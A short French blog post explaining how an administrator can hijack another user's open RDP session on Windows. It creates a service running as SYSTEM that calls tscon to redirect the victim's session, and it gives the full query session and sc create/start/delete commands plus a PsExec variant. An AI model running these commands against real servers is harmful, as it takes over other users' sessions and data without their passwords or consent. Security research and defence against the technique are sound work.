Quand le système à tous les droits, rien ne vas plus…
Vous êtes administrateur d’un serveur (ou vous en avez les droits ;)) et aimeriez récupérer une session RDP déjà ouverte, mal fermé, ou simplement aller voir pourquoi Paintbrush est ouvert sur un serveur ?
Plusieurs options nous sont ouvertes :
-
Se connecter en RDP sur le serveur et récupérer la session à l’écran d’accueil :
mais il faudra connaître le mot de passe de session pour continuer…
-
Se connecter en RDP avec son compte administrateur (puis tenter une connexion par le gestionnaire de tâches par exemple)
mais il faudra connaître le mot de passe de session pour continuer… (idem via
tscon
ou le gestionnaire des services Bureau à distance) -
L’assistance à distance : par défaut, ce n’est pas automatique
il fallait régler ces options avant, et elles n’agiront pas sur les sessions courantes :(
Demandons un coup de main au système ?
Le système est notre ami
- Récupérons les identifiants de sessions concernés :
query session
C:\Windows\system32>query session SESSION UTILISATEUR ID ÉTAT TYPE PÉRIPHÉRIQUE services 0 Déco console 1 Conn >rdp-tcp#1 user1 2 Actif rdpwd rdp-tcp#0 gentilkiwi 3 Actif rdpwd rdp-tcp 65536 Écouter
rdp-tcp#0
est la session que nous voulons voler,rdp-tcp#1
est notre session ouverte. - Créons rapidement un faux service (qui fera l’affaire) :
sc create givemerdp binpath= "cmd /k tscon rdp-tcp#0 /dest:rdp-tcp#1" type= own
- En le démarrant, le bureau basculera :)
sc start givemerdp
Il peut être supprimé par :
sc delete givemerdp
Cela peut bien sur être plus propre avec PsExec… (et son argument -s
)
Tests que je vous invite à effectuer :
- Travailler avec des sessions RDP sources inactives ou dont la session Windows n’est pas fermée
- Travailler avec des sessions RDP cibles pas encore connectés !
- Utiliser PsExec depuis une invite externe (sans RDP)